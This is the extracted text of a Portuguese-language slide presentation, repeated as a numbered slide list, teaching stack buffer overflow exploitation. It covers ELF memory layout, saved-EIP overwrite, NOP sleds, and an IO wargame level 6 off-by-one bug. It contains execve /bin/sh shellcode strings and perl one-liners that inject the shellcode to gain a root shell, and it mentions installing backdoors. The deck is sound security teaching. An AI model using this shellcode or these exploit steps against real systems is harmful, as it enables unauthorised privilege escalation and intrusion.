Exploits
QUEM SOU EU?????
BINÁRIOS ELF
• ELF == Executable and Linkable Format
• Diferentes segmentos, .text, .data, .bss e assim por diante
• Layout do binário na memória
OS SEGMENTOS                        Topo da Memória
                                    0xFFFFFFFF
• .text (código)       Stack

• .data
                   Nada (vazio)
• .bss
• Heap                 Heap

• Stack                .bss

                       .data

                   .text (código)   Base da Memória
                                    0x00000000
A STACK
•   Stack é utilizada para chamada de funções.
•   Há 2 registradores na CPU associados à Stack, o EBP (Extended Base Pointer) e o
    ESP (Extended Stack Pointer)
•   ESP aponta para o topo da Stack, e o EBP aponta para o início do frame.
•   Quando uma função é chamada, argumentos, EIP e EBP são inseridos na stack.
•   EBP é “setado” para o ESP, e o ESP é diminuído para criar espaço para as variáveis
    locais das funções.
A STACK
0xbfff9000        stack                     0xbfff9000        stack
              0x08049800        EIP salvo                 0x08049800
               0xbfffdd08       EBP salvo                  0xbfffdd08         EIP salvo
                func_1()                                     func_1()
                                  EBP                                         EBP salvo
             [char buf[128];]                            [char buf[128];]
                                  ESP
                                                           0x08049800
                                                                    f
                                                             0xbfffdd08
                                                                              EBP
              Memória livre                                    func_2()
                                EIP salvo == end. ret         [int i = 0;]
                                                         [ float z = 99.9;]
                                                                              ESP
                                                          Memória livre
0xbfff8000                                  0xbfff8000
BUFFER OVERFLOWS
•    Bug de                       stack                         stack             stack
     programação                                EIP salvo
                              0x08049800                    0x08049800        0x41414141
•    Dados ou                                   EBP salvo
     entradas não são
                               0xbfffdd08                    0xbfffdd08       0x41414141
                                func_1()                      func_1()          func_1()

                                                            [                 [
     verificados


•
     corretamente
     Exemplo:
                             [char buf[128];]                0x00000000
                                                             0x41414141
                                                                          [    0x41414141
                                                                               0x41414141
                                                                                          [
                                                             0x41414141        0x41414141
char some_data[256];
memset(some_data,’A’,254);

                              Memória livre                 Memória livre     Memória livre

memcpy(buf,some_data);
EXPLOITING: O OBJETIVO
•   Nosso objetivo é, de alguma forma, redirecionar o fluxo do programa e conseguir com
    que o mesmo execute o que quisermos.
EXPLOITING: O OBJETIVO
•   Nosso objetivo é, de alguma forma, redirecionar o fluxo do programa e conseguir com
    que o mesmo execute o que quisermos.
MÉTODO 01: SMASHING THE STACK

                                      Juntando tudo
                                          stack       Usando entradas ou dados
                          EIP salvo                   que fornecemos, podemos
                                       0x41414141
                                                      controlar o valor que será
                          EBP salvo    0x41414141      escrito sobre o endereço
                                         func_1()     de retorno, ou valor do EIP


                                      [ 0x41414141
                                        0x41414141
                                                  [              salvo.

                                        0x41414141
• Combinamos o que sabemos sobre
stack e buffer overflows
                                      Memória livre
• Podemos utilizar isso para
redirecionar o fluxo de execução
BUFFER OVERFLOW: EXEMPLO 01
example_01.c:   Saída do gdb:

                                18 A’s




                                24 A’s




                                26 A’s
BUFFER OVERFLOW: EXEMPLO 2
example_02.c:   Saída do gdb:
SHOW ME THE MONEY!

                stack
EIP salvo   0x41414141           Nós controlamos isso!
EBP salvo   0x41414141
              func_1()

            [0x41414141 [    Mas agora que controlamos o endereço de
             0x41414141         retorno, o que fazemos com isso?
             0x41414141
                            Para onde queremos que o fluxo do programa
                                              vá?
            Memória livre
SHELLCODE
                                                  Exemplo de Shellcode:
• Este é um código que gera uma shell.
                                              “x31xc0xb0x46x31xdbx31xc
• Pode ter diversas variantes.
                                              9xcdx80xebx16x5bx31xc0x8
• Alguns fazem bind em portas, outros         8x43x07x89x5bx08x89x43x
  conectam em servidores específicos,         0cxb0x0bx8dx4bx08x8dx53x
  alguns geram um shell local, alguns são     0cxcdx80xe8xe5xffxffxffx2fx
                                              62x69x6ex2fx73x68”
  bem pequenos, e outros são quebrados em
  pedaços.
                                              Gera um processo “/bin/sh”.
• Todos criados para suprir as necessidades
  do criador para qualquer propósito que
  possa querer, ou para evitar certas
  restrições que limitam sua execução.
SHELLCODE
• Agora que sabemos que precisamos usar um shellcode, onde o colocamos?
• Há diversas opções, todas dependem de diversos fatores.
• Variáveis de ambiente
• Dentro do próprio buffer overflow
• Alguma outra parte da memória onde possamos escrever
• etc
EXEMPLO 01: EXPLOITED
Shellcode in Environment    getenvaddr.c :
        Variable:           #include <stdio.h>
                            #include <stdlib.h>
                            #include <string.h>
                            int main(int arc, char *argv[]){
                            char *ptr;
                            if(argc < 3){
                            printf(“Usage : %s <env var> <program name>n”,argv[0]);
                            exit(0);
                            }
                            ptr = getenv(argv[1]);
                            ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
                            printf(“%s will be at %pn”,argv[1],ptr);
                            return 0;
   Getting address of       }
  Environment Variable:
SHELLCODE: ALIGN + NOP SLED


                  0xeb175b31   0xc0884307    0x895b0889    0x430c508d    0x53085253   0xb03b50cd
0xbfbfef6b


EIP salvo         0xbfbfef6b



0xbfbfef7a       0x90909090     0x90909090    0xeb175b31   0xc0884307   0x895b0889    0x430c508d




                        NOP Sled
EXEMPLO 01: NÓS TEMOS UMA SHELL




• Agora exploramos o programa
• Ganhamos acesso, e conseguimos pular de “tritured” para “root”
• A partir daqui, podemos fazer várias coisas, como instalar backdoors,
  módulos do kernel, etc.
EXEMPLO 02: EXPLOITED
Pegue o endereço da variável de ambiente SHELLCODE:




Desta vez, não usaremos o NOP Sled, então precisamos ser bem precisos:
SMASH THE STACK IO NÍVEL 6: MUNDO REAL
level6.c :
#include <string.h>                     • Como podemos ver, o programador
// The devil is in the details - nnp
void copy_buffer(char *argv[])
                                          implementou algumas estruturas de
{                                         verificação para previnir buffer overflows
char buf1[32], buf2[32], buf3[32];
strncpy(buf2, argv[1], 31);             • Entretanto, ele introduziu um novo bug,
strncpy(buf3, argv[2], sizeof(buf3));     chamado de off-by-one error
strcpy(buf1, buf3);
}
int main(int argc, char *argv[])
                                        • Ainda podemos sobrecarregar o buffer
{
copy_buffer(argv);
                                        • E ainda podemos sobreescrever o EIP
return 0;                                 para apontar para nosso shellcode
}
IO NÍVEL 6: CONTINUAÇÃO
Como as strings funcionam, e são delimitadas na memória:


0xbfbfeea0   0xbfbfeea1                                                                   0xbfbfede    0xbfbfedf
0x09         Este é qualquer texto aleatório para ajudar a entender como as strings funcionam          0x00


                                                                                                      NULL Byte


 Layout do copy_buffer da stack do Nível 6:
  0xbfbfaa00                           0xbfbfaa20                            0xbfbfaa40
                buf3[32]                            buf2[32]                              buf1[32]

  Algum texto aqui              0x00 Mais algum texto aqui          0x00 E alguma string aqui              0x00
IO NÍVEL 6: CONTINUAÇÃO
• O problema está nestas 3 linhas:
       strncpy(buf2, argv[1], 31);
       strncpy(buf3, argv[2], sizeof(buf3));
       strncpy(buf1, buf3);


• A primeira copia até 31 bytes, deixando um espaço para o NULL byte no
  final.
• A segunda, entretanto, copia até 32 bytes, e portanto, pode não deixar
  espaço para um NULL pointer no final, é daí que surge o off-by-one error.
• A terceira linha então copia o buf3 dentro do buf1, e é aqui onde podemos
  sobrescrever o EIP salvo.
IO NÍVEL 6: CONTINUAÇÃO
strncpy(buf2, argv[1], 31);
strncpy(buf3, argv[2], sizeof(buf3));
strncpy(buf1, buf3);

Layout do copy_buffer da stack do Nível 6:
 0xbfbfaa00                                    0xbfbfaa20                        0xbfbfaa40
                buf3[32]                                    buf2[32]                          buf1[32]
strncpy(buf2, argv[1], 31);
                                                 0x414141414141          0x00
strncpy(buf3, argv[2], sizeof(buf3));
   0x42424242424242                0x42          0x414141414141          0x00
strcpy(buf1, buf3)
 buf3                                   buf2                           buf1
 0x424242424242             0x4         0x414141414141        0x00     0x424242424242   0x42        0x41414141


                                   buf3
IO NÍVEL 6: CONTINUAÇÃO
IO NÍVEL 6: CONTINUAÇÃO




•   Primeiro parâmetro (oque será escrito no buf2 e posteriormente no buf1):
•   $perl -e ‘print “x90”+4 + 'xbcxf4xffxbf'“


•   Segundo parâmetro (que será escrito no buf3):
•   $perl -e ‘print “x90”+7 +
    'x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x89xc2xb0x0
    bxcdx80'“
IO NÍVEL 6: CONTINUAÇÃO
DÚVIDAS???




             ?
CONTATOS – LUIZ VIEIRA


Blog: http://hackproofing.blogspot.com
Empresa: http://www.oys.com.br
E-mail: luizwt@gmail.com

How stuff works

  • 1.
  • 2.
  • 3.
    BINÁRIOS ELF • ELF== Executable and Linkable Format • Diferentes segmentos, .text, .data, .bss e assim por diante • Layout do binário na memória
  • 4.
    OS SEGMENTOS Topo da Memória 0xFFFFFFFF • .text (código) Stack • .data Nada (vazio) • .bss • Heap Heap • Stack .bss .data .text (código) Base da Memória 0x00000000
  • 5.
    A STACK • Stack é utilizada para chamada de funções. • Há 2 registradores na CPU associados à Stack, o EBP (Extended Base Pointer) e o ESP (Extended Stack Pointer) • ESP aponta para o topo da Stack, e o EBP aponta para o início do frame. • Quando uma função é chamada, argumentos, EIP e EBP são inseridos na stack. • EBP é “setado” para o ESP, e o ESP é diminuído para criar espaço para as variáveis locais das funções.
  • 6.
    A STACK 0xbfff9000 stack 0xbfff9000 stack 0x08049800 EIP salvo 0x08049800 0xbfffdd08 EBP salvo 0xbfffdd08 EIP salvo func_1() func_1() EBP EBP salvo [char buf[128];] [char buf[128];] ESP 0x08049800 f 0xbfffdd08 EBP Memória livre func_2() EIP salvo == end. ret [int i = 0;] [ float z = 99.9;] ESP Memória livre 0xbfff8000 0xbfff8000
  • 7.
    BUFFER OVERFLOWS • Bug de stack stack stack programação EIP salvo 0x08049800 0x08049800 0x41414141 • Dados ou EBP salvo entradas não são 0xbfffdd08 0xbfffdd08 0x41414141 func_1() func_1() func_1() [ [ verificados • corretamente Exemplo: [char buf[128];] 0x00000000 0x41414141 [ 0x41414141 0x41414141 [ 0x41414141 0x41414141 char some_data[256]; memset(some_data,’A’,254); Memória livre Memória livre Memória livre memcpy(buf,some_data);
  • 8.
    EXPLOITING: O OBJETIVO • Nosso objetivo é, de alguma forma, redirecionar o fluxo do programa e conseguir com que o mesmo execute o que quisermos.
  • 9.
    EXPLOITING: O OBJETIVO • Nosso objetivo é, de alguma forma, redirecionar o fluxo do programa e conseguir com que o mesmo execute o que quisermos.
  • 10.
    MÉTODO 01: SMASHINGTHE STACK Juntando tudo stack Usando entradas ou dados EIP salvo que fornecemos, podemos 0x41414141 controlar o valor que será EBP salvo 0x41414141 escrito sobre o endereço func_1() de retorno, ou valor do EIP [ 0x41414141 0x41414141 [ salvo. 0x41414141 • Combinamos o que sabemos sobre stack e buffer overflows Memória livre • Podemos utilizar isso para redirecionar o fluxo de execução
  • 11.
    BUFFER OVERFLOW: EXEMPLO01 example_01.c: Saída do gdb: 18 A’s 24 A’s 26 A’s
  • 12.
    BUFFER OVERFLOW: EXEMPLO2 example_02.c: Saída do gdb:
  • 13.
    SHOW ME THEMONEY! stack EIP salvo 0x41414141 Nós controlamos isso! EBP salvo 0x41414141 func_1() [0x41414141 [ Mas agora que controlamos o endereço de 0x41414141 retorno, o que fazemos com isso? 0x41414141 Para onde queremos que o fluxo do programa vá? Memória livre
  • 14.
    SHELLCODE Exemplo de Shellcode: • Este é um código que gera uma shell. “x31xc0xb0x46x31xdbx31xc • Pode ter diversas variantes. 9xcdx80xebx16x5bx31xc0x8 • Alguns fazem bind em portas, outros 8x43x07x89x5bx08x89x43x conectam em servidores específicos, 0cxb0x0bx8dx4bx08x8dx53x alguns geram um shell local, alguns são 0cxcdx80xe8xe5xffxffxffx2fx 62x69x6ex2fx73x68” bem pequenos, e outros são quebrados em pedaços. Gera um processo “/bin/sh”. • Todos criados para suprir as necessidades do criador para qualquer propósito que possa querer, ou para evitar certas restrições que limitam sua execução.
  • 15.
    SHELLCODE • Agora quesabemos que precisamos usar um shellcode, onde o colocamos? • Há diversas opções, todas dependem de diversos fatores. • Variáveis de ambiente • Dentro do próprio buffer overflow • Alguma outra parte da memória onde possamos escrever • etc
  • 16.
    EXEMPLO 01: EXPLOITED Shellcodein Environment getenvaddr.c : Variable: #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int arc, char *argv[]){ char *ptr; if(argc < 3){ printf(“Usage : %s <env var> <program name>n”,argv[0]); exit(0); } ptr = getenv(argv[1]); ptr += (strlen(argv[0]) - strlen(argv[2])) * 2; printf(“%s will be at %pn”,argv[1],ptr); return 0; Getting address of } Environment Variable:
  • 17.
    SHELLCODE: ALIGN +NOP SLED 0xeb175b31 0xc0884307 0x895b0889 0x430c508d 0x53085253 0xb03b50cd 0xbfbfef6b EIP salvo 0xbfbfef6b 0xbfbfef7a 0x90909090 0x90909090 0xeb175b31 0xc0884307 0x895b0889 0x430c508d NOP Sled
  • 18.
    EXEMPLO 01: NÓSTEMOS UMA SHELL • Agora exploramos o programa • Ganhamos acesso, e conseguimos pular de “tritured” para “root” • A partir daqui, podemos fazer várias coisas, como instalar backdoors, módulos do kernel, etc.
  • 19.
    EXEMPLO 02: EXPLOITED Pegueo endereço da variável de ambiente SHELLCODE: Desta vez, não usaremos o NOP Sled, então precisamos ser bem precisos:
  • 20.
    SMASH THE STACKIO NÍVEL 6: MUNDO REAL level6.c : #include <string.h> • Como podemos ver, o programador // The devil is in the details - nnp void copy_buffer(char *argv[]) implementou algumas estruturas de { verificação para previnir buffer overflows char buf1[32], buf2[32], buf3[32]; strncpy(buf2, argv[1], 31); • Entretanto, ele introduziu um novo bug, strncpy(buf3, argv[2], sizeof(buf3)); chamado de off-by-one error strcpy(buf1, buf3); } int main(int argc, char *argv[]) • Ainda podemos sobrecarregar o buffer { copy_buffer(argv); • E ainda podemos sobreescrever o EIP return 0; para apontar para nosso shellcode }
  • 21.
    IO NÍVEL 6:CONTINUAÇÃO Como as strings funcionam, e são delimitadas na memória: 0xbfbfeea0 0xbfbfeea1 0xbfbfede 0xbfbfedf 0x09 Este é qualquer texto aleatório para ajudar a entender como as strings funcionam 0x00 NULL Byte Layout do copy_buffer da stack do Nível 6: 0xbfbfaa00 0xbfbfaa20 0xbfbfaa40 buf3[32] buf2[32] buf1[32] Algum texto aqui 0x00 Mais algum texto aqui 0x00 E alguma string aqui 0x00
  • 22.
    IO NÍVEL 6:CONTINUAÇÃO • O problema está nestas 3 linhas: strncpy(buf2, argv[1], 31); strncpy(buf3, argv[2], sizeof(buf3)); strncpy(buf1, buf3); • A primeira copia até 31 bytes, deixando um espaço para o NULL byte no final. • A segunda, entretanto, copia até 32 bytes, e portanto, pode não deixar espaço para um NULL pointer no final, é daí que surge o off-by-one error. • A terceira linha então copia o buf3 dentro do buf1, e é aqui onde podemos sobrescrever o EIP salvo.
  • 23.
    IO NÍVEL 6:CONTINUAÇÃO strncpy(buf2, argv[1], 31); strncpy(buf3, argv[2], sizeof(buf3)); strncpy(buf1, buf3); Layout do copy_buffer da stack do Nível 6: 0xbfbfaa00 0xbfbfaa20 0xbfbfaa40 buf3[32] buf2[32] buf1[32] strncpy(buf2, argv[1], 31); 0x414141414141 0x00 strncpy(buf3, argv[2], sizeof(buf3)); 0x42424242424242 0x42 0x414141414141 0x00 strcpy(buf1, buf3) buf3 buf2 buf1 0x424242424242 0x4 0x414141414141 0x00 0x424242424242 0x42 0x41414141 buf3
  • 24.
    IO NÍVEL 6:CONTINUAÇÃO
  • 25.
    IO NÍVEL 6:CONTINUAÇÃO • Primeiro parâmetro (oque será escrito no buf2 e posteriormente no buf1): • $perl -e ‘print “x90”+4 + 'xbcxf4xffxbf'“ • Segundo parâmetro (que será escrito no buf3): • $perl -e ‘print “x90”+7 + 'x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x89xc2xb0x0 bxcdx80'“
  • 26.
    IO NÍVEL 6:CONTINUAÇÃO
  • 27.
  • 28.
    CONTATOS – LUIZVIEIRA Blog: http://hackproofing.blogspot.com Empresa: http://www.oys.com.br E-mail: luizwt@gmail.com